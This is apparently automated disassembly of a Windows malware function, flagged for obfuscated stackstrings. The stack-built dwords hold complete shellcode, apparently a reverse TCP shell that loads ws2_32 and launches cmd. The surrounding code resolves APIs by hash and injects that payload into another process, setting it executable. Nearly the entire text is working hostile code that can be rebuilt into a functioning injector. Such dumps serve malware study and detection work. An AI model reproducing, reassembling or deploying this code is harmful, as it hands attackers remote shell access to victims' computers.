Function at 0x1400014c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov dword [rsp + 0x50], 0xe48348fc
mov dword [rsp + 0x54], 0xc0e8f0
mov dword [rsp + 0x58], 0x51410000
mov dword [rsp + 0x5c], 0x51525041
mov dword [rsp + 0x60], 0xd2314856
mov dword [rsp + 0x64], 0x528b4865
mov dword [rsp + 0x68], 0x528b4860
mov dword [rsp + 0x6c], 0x528b4818
mov dword [rsp + 0x70], 0x728b4820
mov dword [rsp + 0x74], 0xb70f4850
mov dword [rsp + 0x78], 0x314d4a4a
mov dword [rsp + 0x7c], 0xc03148c9
mov dword [rbp - 0x80], 0x7c613cac
mov dword [rbp - 0x7c], 0x41202c02
mov dword [rbp - 0x78], 0x410dc9c1
mov dword [rbp - 0x74], 0xede2c101
mov dword [rbp - 0x70], 0x48514152
mov dword [rbp - 0x6c], 0x8b20528b
mov dword [rbp - 0x68], 0x1483c42
mov dword [rbp - 0x64], 0x88808bd0
mov dword [rbp - 0x60], 0x48000000
mov dword [rbp - 0x5c], 0x6774c085
mov dword [rbp - 0x58], 0x50d00148
mov dword [rbp - 0x54], 0x4418488b
mov dword [rbp - 0x50], 0x4920408b
mov dword [rbp - 0x4c], 0x56e3d001
mov dword [rbp - 0x48], 0x41c9ff48
mov dword [rbp - 0x44], 0x4888348b
mov dword [rbp - 0x40], 0x314dd601
mov dword [rbp - 0x3c], 0xc03148c9
mov dword [rbp - 0x38], 0xc9c141ac
mov dword [rbp - 0x34], 0xc101410d
mov dword [rbp - 0x30], 0xf175e038
mov dword [rbp - 0x2c], 0x244c034c
mov dword [rbp - 0x28], 0xd1394508
mov dword [rbp - 0x24], 0x4458d875
mov dword [rbp - 0x20], 0x4924408b
mov dword [rbp - 0x1c], 0x4166d001
mov dword [rbp - 0x18], 0x44480c8b
mov dword [rbp - 0x14], 0x491c408b
mov dword [rbp - 0x10], 0x8b41d001
mov dword [rbp - 0xc], 0x1488804
mov dword [rbp - 8], 0x415841d0
mov dword [rbp - 4], 0x5a595e58
mov dword [rbp], 0x59415841
mov dword [rbp + 4], 0x83485a41
mov dword [rbp + 8], 0x524120ec
mov dword [rbp + 0xc], 0x4158e0ff
mov dword [rbp + 0x10], 0x8b485a59
mov dword [rbp + 0x14], 0xff57e912
mov dword [rbp + 0x18], 0x495dffff
mov dword [rbp + 0x1c], 0x327377be
mov dword [rbp + 0x20], 0x32335f
mov dword [rbp + 0x24], 0x49564100
mov dword [rbp + 0x28], 0x8148e689
mov dword [rbp + 0x2c], 0x1a0ec
mov dword [rbp + 0x30], 0xe5894900
mov dword [rbp + 0x34], 0x2bc49
mov dword [rbp + 0x38], 0xa0abb01
mov dword [rbp + 0x3c], 0x54410c01
mov dword [rbp + 0x40], 0x4ce48949
mov dword [rbp + 0x44], 0xba41f189
mov dword [rbp + 0x48], 0x726774c
mov dword [rbp + 0x4c], 0x894cd5ff
mov dword [rbp + 0x50], 0x10168ea
mov dword [rbp + 0x54], 0x41590000
mov dword [rbp + 0x58], 0x6b8029ba
mov dword [rbp + 0x5c], 0x50d5ff00
mov dword [rbp + 0x60], 0xc9314d50
mov dword [rbp + 0x64], 0x48c0314d
mov dword [rbp + 0x68], 0x8948c0ff
mov dword [rbp + 0x6c], 0xc0ff48c2
mov dword [rbp + 0x70], 0x41c18948
mov dword [rbp + 0x74], 0xdf0feaba
mov dword [rbp + 0x78], 0x48d5ffe0
mov dword [rbp + 0x7c], 0x106ac789
mov dword [rbp + 0x80], 0x894c5841
mov dword [rbp + 0x84], 0xf98948e2
mov dword [rbp + 0x88], 0xa599ba41
mov dword [rbp + 0x8c], 0xd5ff6174
mov dword [rbp + 0x90], 0x40c48148
mov dword [rbp + 0x94], 0x49000002
mov qword [rbp + 0x98], 0x646d63b8
mov dword [rbp + 0xa0], 0x41504100
mov dword [rbp + 0xa4], 0xe2894850
mov dword [rbp + 0xa8], 0x4d575757
mov dword [rbp + 0xac], 0xd6ac031
mov dword [rbp + 0xb0], 0xe2504159
mov dword [rbp + 0xb4], 0x44c766fc
mov dword [rbp + 0xb8], 0x1015424
mov dword [rbp + 0xbc], 0x24448d48
mov dword [rbp + 0xc0], 0x6800c618
mov dword [rbp + 0xc4], 0x56e68948
mov dword [rbp + 0xc8], 0x41504150
mov dword [rbp + 0xcc], 0x49504150
mov dword [rbp + 0xd0], 0x5041c0ff
mov dword [rbp + 0xd4], 0x4dc8ff49
mov dword [rbp + 0xd8], 0x894cc189
mov dword [rbp + 0xdc], 0x79ba41c1
mov dword [rbp + 0xe0], 0xff863fcc
mov dword [rbp + 0xe4], 0xd23148d5
mov dword [rbp + 0xe8], 0x8bcaff48
mov dword [rbp + 0xec], 0x8ba410e
mov dword [rbp + 0xf0], 0xff601d87
mov dword [rbp + 0xf4], 0xb5f0bbd5
mov dword [rbp + 0xf8], 0xba4156a2
mov dword [rbp + 0xfc], 0x9dbd95a6
mov dword [rbp + 0x100], 0x8348d5ff
mov dword [rbp + 0x104], 0x63c28c4
mov dword [rbp + 0x108], 0xfb800a7c
mov dword [rbp + 0x10c], 0xbb0575e0
mov dword [rbp + 0x110], 0x6f721347
mov dword [rbp + 0x114], 0x4159006a
mov dword [rbp + 0x118], 0xd5ffda89
mov dword [rsp + 0x38], 0x2a1ed54b
mov dword [rsp + 0x3c], 0x8286d021
mov dword [rsp + 0x40], 0x13e9ccaa
call fcn.140001150
mov edx, 0x1c5ba4ce
mov rcx, rax
call section..text
xor r14d, r14d
lea rdi, [rsp + 0x38]
mov ebx, r14d
mov r15, rax
nop dword [rax]
mov ecx, dword [rdi]
call fcn.140001260
mov rsi, rax
test rax, rax
jne 0x1400018ef
inc ebx
add rdi, 4
cmp ebx, 3
jb 0x1400018d0
jmp 0x1400019b7
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x38], r14
call fcn.140001150
mov rbx, rax
test rax, rax
je 0x1400019b7
mov edx, 0x525e0f14
mov rcx, rax
call section..text
mov edx, 0xcd77b576
mov rcx, rbx
mov r14, rax
call section..text
mov rdi, rax
test r14, r14
je 0x1400019ae
test rax, rax
je 0x1400019ae
lea rax, [rsp + 0x30]
mov r9d, 4
mov r8d, 0x1cc
mov qword [rsp + 0x20], rax
mov rdx, r15
mov rcx, rsi
call rdi
test eax, eax
je 0x1400019ae
lea rax, [rsp + 0x38]
mov r9d, 0x1cc
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rdx, r15
mov rcx, rsi
call r14
test eax, eax
je 0x1400019ae
cmp qword [rsp + 0x38], 0x1cc
jne 0x1400019ae
lea rax, [rsp + 0x30]
mov r9d, 0x20
mov r8d, 0x1cc
mov qword [rsp + 0x20], rax
mov rdx, r15
mov rcx, rsi
call rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400019bc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140001a00
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret